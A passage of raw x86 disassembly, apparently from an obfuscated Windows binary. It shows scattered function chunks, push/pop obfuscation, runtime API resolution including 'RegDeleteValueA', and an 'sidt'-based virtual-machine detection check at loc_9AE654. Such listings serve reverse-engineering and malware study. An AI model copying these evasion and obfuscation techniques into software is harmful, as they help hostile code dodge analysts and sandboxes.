; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9AE268:				; CODE XREF: sub_9B4480-69Cj
		mov	esi, 1
		mov	[ebp+var_334], esi


loc_9AE273:				; CODE XREF: sub_9B4480-2F24j
					; sub_9B4480-6A2j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		mov	edx, [ebp+var_330]
		push	edx
		call	dword ptr [ecx+14h]


loc_9AE288:				; CODE XREF: sub_9B4480+A3j
		and	esi, esi
		jnz	sub_9AD1A4
		jmp	off_9BA840
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE298:				; CODE XREF: sub_9B649C-2343j
					; DATA XREF: .text:off_9B96A3o
		add	eax, ecx
		mov	[ebp+var_1C], eax


loc_9AE29D:				; CODE XREF: sub_9B649C-7A93j
		and	bl, bl
		jns	loc_9B512A
		jmp	off_9B9D04
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE2AC:				; CODE XREF: sub_9B3864-6484j
					; sub_9B3864-366Aj
		mov	[ebp+var_2058],	ecx
		xor	eax, eax
		mov	[ebp+var_206C],	eax
		mov	[ebp+var_2050],	ecx
		mov	[ebp+var_205C],	eax


loc_9AE2C6:				; CODE XREF: sub_9B3864-2463j
		cmp	edi, 11h
		jnz	loc_9AEB8C
		jmp	off_9B9342
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE2D8:				; CODE XREF: sub_9B1D80+FFCj
					; DATA XREF: .text:off_9B925Co
		mov	eax, [ebp-2044h]
		test	byte ptr [eax+8], 8
		jz	loc_9AB0A2
		jmp	off_9B9399
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE2F0:				; CODE XREF: sub_9B63D8-60BCj
		cmp	ebx, 10h
		jl	loc_9AC5CD
		jmp	off_9BA158
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AE300:				; CODE XREF: sub_9ABA3C+5Cj
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9AE305:				; CODE XREF: sub_9ABA3C+28CEj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_9AE305
		jmp	off_9BA716
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
		push	esi
		sub	esi, esi


loc_9AE317:				; CODE XREF: .text:009AE321j
		push	esi
		call	sub_9ABE84
		inc	esi
		cmp	esi, 40h
		jl	short loc_9AE317
		jmp	loc_9AED80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AE328:				; CODE XREF: sub_9B3EFC-1BB0j
		mov	edx, eax
		and	edx, 0FEFFh
		cmp	edx, 12C6h
		jz	loc_9AD6E0
		jmp	off_9BAF57
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE344:				; CODE XREF: sub_9B1A08-31F6j
		test	al, 40h
		jz	loc_9B2C5C
		jmp	loc_9B5444
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE35C:				; CODE XREF: sub_9B0930-2472j
		push	off_9B965A
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+20h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+0Ch]
		pop	eax
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F7A
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE390:				; CODE XREF: sub_9B0930+24B5j
		push	off_9B8D85
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+0Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAF67
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AE3C4:				; CODE XREF: sub_9B1584-274Bj
					; DATA XREF: .text:off_9B982Bo
		mov	[ebp+var_1C], 1
		jmp	loc_9AD087
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AE3D3:				; CODE XREF: sub_9ADCEC-2456j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9B94D7
		call	dword ptr [eax+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE400	proc near		; CODE XREF: sub_9ADAC4+77Dp
					; sub_9B2E04+73p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AE1B8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AF8E8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B43AB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B4944 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA0E0
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], eax
		call	sub_9A5238
		test	eax, eax
		jnz	loc_9AF8E8
		jmp	loc_9B4944
sub_9AE400	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AE444:				; CODE XREF: sub_9B3FF8-3D36j
					; DATA XREF: .text:off_9B94F4o
		lea	edx, [ebx-4]
		mov	[ebp+var_20], edx
		push	esi
		pop	ecx
		call	sub_9ABADC
		cmp	eax, [esi+ebx-4]
		jnz	loc_9B2884
		jmp	loc_9AB26C
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AE460:				; CODE XREF: sub_9B04A8-3499j
					; sub_9B04A8+3E95j
		test	bl, 4
		jz	loc_9B27CA
		jmp	loc_9ABF94
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE473:				; CODE XREF: sub_9ADDA4+30D2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-28h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE490:				; CODE XREF: sub_9B0930+13E6j
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	ecx
		mov	[ecx+1Ch], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [eax+1Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE35C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AE4CE:				; CODE XREF: sub_9B03E8-12F5j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AE4EC:				; CODE XREF: sub_9B4610+4B4j
		call	sub_9B227C
		sub	eax, dword_9BBF94[esi]
		cmp	eax, 258h
		ja	loc_9AF228
		jmp	off_9B911D
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE508:				; CODE XREF: sub_9B0930-2021j
					; DATA XREF: .text:off_9BADCCo
		push	off_9B9220
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+80h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+80h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAF5B
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AE544:				; CODE XREF: sub_9B3984-60B1j
		push	6
		lea	ecx, [ebp+var_4054]
		push	ecx
		push	2002h
		lea	edx, [ebp+var_4024]
		push	edx
		call	sub_9ABD30
		mov	[ebp+var_4050],	eax
		cmp	eax, 4
		jnz	loc_9AB89C
		jmp	loc_9ABE1C
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE574:				; CODE XREF: sub_9B0930-26D0j
		mov	edx, [eax+14h]
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9B40C8
; ---------------------------------------------------------------------------


loc_9AE584:				; CODE XREF: sub_9B0930+34EDj
		push	1Ch
		push	40h
		call	edi
		mov	dword_9BCB74, eax
		test	eax, eax
		jz	loc_9B23EF
		jmp	off_9BA8EF
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE5A0:				; CODE XREF: sub_9B0930+4CF4j
					; DATA XREF: .text:off_9B8EDAo
		mov	edx, [eax+4]
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B9550
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AE5B7:				; CODE XREF: sub_9AEC20-34FAj
					; sub_9AEC20-1ED6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE5F0:				; CODE XREF: sub_9B649C-5775j
					; sub_9B649C-136Fj
		or	bh, bh
		jns	loc_9B319A
		jmp	loc_9B3194
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AE600:				; CODE XREF: sub_9ACEE8+86j
					; DATA XREF: .text:off_9B9F4Co
		call	sub_9B2010
		and	eax, eax
		jz	loc_9ACF55
		jmp	off_9BABAC
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AE614:				; CODE XREF: sub_9B3408+88j
		xor	ebx, ebx
		mov	[ebp-128h], ebx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		lea	edx, [ebp-128h]
		push	edx
		push	ebx
		push	ebx
		push	ebx
		mov	edi, [ebp-138h]
		push	edi
		push	dword ptr [ebp-124h]
		pop	eax
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jnz	loc_9AB749
		jmp	off_9BA6FF
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4


loc_9AE654:				; CODE XREF: .text:009B2AC8j
		push	ecx
		sidt	fword ptr [esp-2]
		pop	dword ptr [esp+4]
		push	dword ptr [esp+4]
		pop	eax
		cmp	eax, 0D0000000h
		ja	loc_9B2AB4
		jmp	off_9BAA05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AE674:				; CODE XREF: sub_9B3FF8+3Ej
					; DATA XREF: .text:off_9B9793o
		cmp	edi, 2000h
		ja	loc_9B2884
		jmp	loc_9ABCEC
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AE688:				; CODE XREF: sub_9B2F1C-739Fj
		lea	ecx, [esi+eax]
		call	sub_9ADCEC
		push	edi
		pop	eax
		mov	[ebp-1Ch], eax


loc_9AE695:				; CODE XREF: sub_9B2F1C-C0Aj
		push	eax
		mov	ecx, esi
		call	sub_9B2830
		mov	edx, [ebp+0Ch]
		mov	[edx], eax
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AE6A8:				; CODE XREF: sub_9ADAC4+588Dj
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	ecx
		push	edi
		call	dword ptr [ecx+38h]


loc_9AE6B5:				; CODE XREF: sub_9ADAC4+1F66j
					; sub_9ADAC4+4762j ...
		sub	edi, edi


loc_9AE6B7:				; CODE XREF: sub_9ADAC4-2B20j
		mov	[ebp-40h], edi
		cmp	edi, 0Ah
		jge	loc_9AF35C
		jmp	off_9BADA4
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9AE6CC:				; CODE XREF: sub_9B2010-198Fj
					; sub_9B2010+38j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	dword_9BEBF8, eax
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+8]
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword ptr [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	eax
		push	off_9B9F95
		call	dword ptr [edx+34h]


loc_9AE704:				; CODE XREF: sub_9B2010-1995j
		push	dword_9BEBF4
		pop	eax
		or	eax, eax
		jnz	loc_9B012F
		jmp	off_9B8956
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE71C:				; CODE XREF: sub_9ADDA4+35FDj
					; DATA XREF: .text:off_9B9040o
		mov	eax, [ebp+esi*4-27Ch]
		cdq
		mov	ebx, eax
		xor	ebx, edx
		push	dword ptr [ebp+ecx*4-27Ch]
		pop	eax
		sub	ebx, edx
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	eax, ebx
		jle	loc_9AE8A9
		jmp	loc_9AE8A4
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE744:				; CODE XREF: sub_9B1D80+215Fj
					; DATA XREF: .text:off_9BACA8o
		xor	eax, eax
		mov	[ebx], eax
		mov	[ebx+4], eax
		mov	[ebx+8], eax
		mov	[ebx+0Ch], eax
		jmp	loc_9B1D5B
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AE758:				; CODE XREF: sub_9AB1A0+1DE5j
		push	esi
		pop	eax
		call	sub_9B327C
		or	eax, eax
		jnz	loc_9AEA48
		jmp	loc_9B5B90
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AE76C:				; CODE XREF: sub_9B562C-32CCj
					; DATA XREF: .text:off_9BAAD0o
		mov	eax, [ebp+var_130]
		mov	cx, [eax]
		mov	word ptr [ebp+var_128],	cx


loc_9AE77C:				; CODE XREF: sub_9B562C-64C4j
					; sub_9B562C-5B2Fj ...
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	esi
		call	dword ptr [eax+80h]
		jmp	loc_9AECDF
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AE794:				; CODE XREF: sub_9B43F4-373j
					; DATA XREF: .text:off_9B9414o
		and	al, 4
		neg	al
		mov	edi, [ebp+14h]
		sbb	eax, eax
		and	eax, 0FFFFFFF5h
		add	eax, 11h
		cmp	eax, edi
		jnz	loc_9ACEAF
		jmp	loc_9AD544
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE7B0:				; CODE XREF: sub_9B63D8-B107j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	eax
		call	dword ptr [edx+38h]


loc_9AE7BE:				; CODE XREF: sub_9B63D8-B10Dj
					; sub_9B63D8-6A85j
		mov	eax, [ebp-2134h]
		or	eax, eax
		jz	loc_9AED1C
		jmp	off_9B9A8B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9AE7D4:				; CODE XREF: sub_9AFB1C+35j
					; DATA XREF: .text:off_9B9373o
		mov	dword ptr [ebp-4], 0
		push	esi
		pop	edx
		xor	ecx, ecx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		mov	[edx+0Ch], ecx
		mov	[edx+10h], ecx
		test	bl, 8
		mov	[edx+14h], ecx
		mov	[edx+18h], ecx
		mov	[edx+1Ch], ecx
		jz	loc_9B28FC
		jmp	loc_9B5DA8
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE804:				; CODE XREF: sub_9B1A08-325j
					; DATA XREF: .text:off_9B9240o
		mov	[ebp+var_4200],	eax
		test	al, 1
		jz	loc_9B5444
		jmp	loc_9AE344
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE818:				; CODE XREF: sub_9B63D8-ADABj
		push	off_9B8DB6
		pop	edi
		xor	edx, edx
		lea	esi, [ebx+ebp-2120h]
		push	2
		pop	ecx
		repe cmpsd
		jnz	loc_9B469E
		jmp	off_9B9840
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE83C:				; CODE XREF: sub_9B3864-667Aj
		and	edx, edx
		jz	loc_9AF480
		jmp	off_9B94B7
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AE84C:				; CODE XREF: sub_9B1F68-5911j
		xor	edi, edi


loc_9AE84E:				; CODE XREF: sub_9B1F68-118Aj
					; sub_9B1F68+3994j
		mov	[ebp-34h], edi
		cmp	edi, ebx
		jnb	loc_9B5AD3
		jmp	loc_9B436C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE860	proc near		; CODE XREF: sub_9A5033+75p
					; sub_9AFF64:loc_9ADB20p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 009AC1FC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AF738 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B0F18 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B0FBC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B4A90 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B5A10 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B87A8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		jmp	off_9B907E
sub_9AE860	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9AE890:				; CODE XREF: sub_9AEAAC+48j
					; sub_9AEAAC+5857j
		mov	[ebp+var_24], ecx
		cmp	ecx, [ebp+arg_0]
		jge	loc_9B5EF7
		jmp	loc_9AED58
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE8A4:				; CODE XREF: sub_9ADDA4+99Bj
		mov	esi, ecx
		mov	[ebp-2Ch], esi


loc_9AE8A9:				; CODE XREF: sub_9ADDA4+995j
		inc	ecx
		jmp	loc_9B1396
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9AE8BD:				; CODE XREF: sub_9AF030-29F5j
					; sub_9AF030+29A2j ...
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA623
		call	dword ptr [ecx+1Ch]
		test	edi, edi
		jz	loc_9B3F80
		jmp	off_9BA84C
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABADC


loc_9AE8E0:				; CODE XREF: sub_9ABADC-B1Dj
					; DATA XREF: .text:off_9B9402o
		pop	esi


loc_9AE8E1:				; CODE XREF: sub_9ABADC+6j
		not	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9ABADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE8E4:				; CODE XREF: sub_9B0930+11EAj
					; DATA XREF: .text:off_9B8E38o
		push	off_9B8EA0
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+7Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+7Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BADCC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE918:				; CODE XREF: sub_9B1D80+3961j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	eax, [ebp-203Ah]
		push	eax
		call	dword ptr [edx+28h]
		push	eax
		sub	eax, eax
		push	dword ptr [ebp-2038h]
		pop	edx
		push	dword ptr [ebp-2040h]
		pop	esi
		call	sub_9B1334
		mov	esi, [ebp+14h]


loc_9AE945:				; CODE XREF: sub_9B1D80-591Fj
					; sub_9B1D80-4425j ...
		xor	ecx, ecx
		cmp	ecx, [ebp-2058h]
		jmp	off_9BAEF9
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE954:				; CODE XREF: sub_9B1A08+3286j
		push	[ebp+var_41E0]
		pop	eax
		cmp	eax, 0Ah
		jnb	loc_9AD484
		jmp	off_9B8D2B
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AE96C:				; CODE XREF: sub_9B36E8-6A7Bj
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9AE975:				; CODE XREF: sub_9B36E8-6A81j
		mov	eax, dword_9BBD30
		and	eax, eax
		jnz	loc_9ACE6D
		jmp	off_9BAECD
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE988:				; CODE XREF: sub_9B1A08+9B2j
					; DATA XREF: .text:off_9B9F6Eo
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B2C62
		jmp	off_9BAE22
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AE9A0:				; CODE XREF: sub_9B5480-49C5j
		mov	eax, [eax+44h]
		or	eax, eax
		jz	loc_9AD8DD
		jmp	off_9BAC29
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AE9B4:				; CODE XREF: sub_9B2C70-55E1j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	dword ptr [ebp-4Ch]
		pop	eax
		mov	ecx, [eax]
		push	ecx
		jmp	loc_9B01D8
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9AE9CC:				; CODE XREF: sub_9B29B0-6C6j
					; sub_9B29B0+6Cj
		mov	dword ptr [ebp-228h], 1
		jmp	loc_9B541B
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE9DC:				; CODE XREF: sub_9B649C-3B0Dj
					; DATA XREF: .text:off_9BA4D5o
		movzx	ecx, word ptr [esi+eax]
		mov	[ebp+var_20], ecx
		lea	eax, [ecx+eax+2]
		mov	[ebp+var_1C], eax


loc_9AE9EA:				; CODE XREF: sub_9B649C-7AA3j
		shl	edx, 1
		jmp	loc_9B0D1E
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE9F4:				; CODE XREF: sub_9B649C-576Fj
					; DATA XREF: .text:off_9BA097o
		movzx	ecx, bx
		test	ecx, edx
		jz	short loc_9AE9EA
		jmp	loc_9B2984
; ---------------------------------------------------------------------------


loc_9AEA00:				; CODE XREF: sub_9B649C-4C51j
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9AEA06:				; CODE XREF: sub_9B649C-4C57j
		test	bl, 40h
		jz	loc_9AE29D
		jmp	loc_9B3140
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AEA14:				; CODE XREF: sub_9ACEE8+2682j
					; DATA XREF: .text:off_9B96E4o
		cmp	ecx, 1F4h
		jb	loc_9ACB00
		jmp	off_9BA694
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD1A4


loc_9AEA28:				; CODE XREF: sub_9AD1A4+1Bj
					; sub_9B4480+285j
		mov	ecx, ebx
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


